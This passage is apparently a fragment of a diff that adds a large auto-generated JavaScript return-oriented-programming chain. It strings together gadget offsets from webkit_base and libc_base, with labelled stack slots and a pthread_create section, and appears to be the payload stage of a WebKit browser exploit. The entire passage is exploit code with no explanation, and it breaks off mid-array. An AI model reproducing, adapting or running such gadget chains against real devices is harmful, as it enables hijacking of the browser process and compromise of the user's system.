0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2043: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2044: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+146944, //L2045 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2045: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+147072, //L2048 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+147088, //L2049 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+147056, //L2047 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2047: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2048: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2049: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+147248, //L2053 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+147216, //L2051 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+147232, //L2052 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2050: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2051: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2052: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2053: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+147352, //L2055 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+147336, //L2054 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2054: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2055: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2056: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L2057: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+147552, //L2060 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+147536, //L2059 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2058: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L2059: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2060: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+147656, //L2062 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+147640, //L2061 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2061: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2062: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+147768, //L2065 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+147752, //L2064 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2063: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L2064: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2065: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+147832, //L2066 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+772328 //pop rcx +]); +//L2066: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+147888, //L2068 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2068: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278, //pop rsi +ropchain+148024, //L2070 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148056, //L2072 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+148040, //L2071 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2070: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2071: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2072: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+148216, //L2076 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+148184, //L2074 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+148200, //L2075 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2073: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2074: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2075: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2076: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+148336, //L2077 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148368, //L2079 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+148352, //L2078 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2077: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2078: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2079: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+148472, //L2080 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148488, //L2081 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2080: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2081: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+148608, //L2082 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148592, //L2083 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2083: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2082: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+148696, //L2085 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+148680, //L2084 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2084: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2085: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+148800, //L2086 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148816, //L2087 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2086: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2087: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+148936, //L2088 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+148920, //L2089 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2089: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2088: +db([0, 0]); // 0x0 +//_pthread_create__rop: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+149008, //L2091 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2091: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+149072, //L2092 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2092: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+149192, //L2095 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+149224, //L2097 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2094: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2095: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2096: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2097: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+149320, //L2099 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+149304, //L2098 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2098: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2099: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2100: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2101: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2102: +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2103: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2104: +db([4096, 0]); // 0x1000 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+149632, //L2106 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2106: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2108: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2109: +db([2, 0]); // 0x2 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+149824, //L2111 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2111: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+149968, //L2115 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2113: +db([65536, 0]); // 0x10000 +set_gadget(libc_base+165442,); //pop rdi +//L2114: +db([65536, 0]); // 0x10000 +set_gadget(webkit_base+3789839,); //pop r11 +//L2115: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+150064, //L2117 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+150048, //L2116 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2116: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2117: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2118: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2120: +ropchain+150216, //L2119 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+160336, //L2121 +//L2119: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967248, 4294967295]); // -0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+150312, //L2122 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2122: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+150368, //L2124 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2124: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2126: +db([65536, 0]); // 0x10000 +set_gadget(libc_base+768796,); //pop rax +//L2127: +db([65536, 0]); // 0x10000 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+150520, //L2128 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2128: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+150576, //L2130 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2130: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+150664, //L2133 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2132: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L2133: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2135: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2136: +db([312, 0]); // 0x138 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2138: +db([4294967284, 4294967295]); // -0xc +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+150864, //L2141 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+150848, //L2140 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2140: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2141: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+151024, //L2144 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+151056, //L2146 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+151008, //L2143 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+151040, //L2145 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2143: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2144: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2145: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2146: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+151152, //L2148 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+151136, //L2147 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2147: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2148: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2149: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2150: +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+151360, //L2151 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+151392, //L2153 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+151376, //L2152 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2151: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2152: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2153: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+151496, //L2155 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+151512, //L2156 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2154: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2155: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2156: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2158: +db([4294967284, 4294967295]); // -0xc +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+151656, //L2161 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+151640, //L2160 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2160: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2161: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+151816, //L2164 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+151848, //L2166 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+151800, //L2163 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+151832, //L2165 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2163: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2164: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2165: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2166: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+151944, //L2168 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+151928, //L2167 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2167: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2168: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2169: +db([15, 0]); // 0xf +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+152056, //L2171 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2171: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278, //pop rsi +ropchain+152192, //L2173 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+152224, //L2175 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+152208, //L2174 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2173: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2174: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2175: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+152328, //L2177 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+152344, //L2178 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2176: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2177: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2178: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2180: +db([4294967284, 4294967295]); // -0xc +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+152488, //L2183 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+152472, //L2182 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2182: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2183: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+152648, //L2186 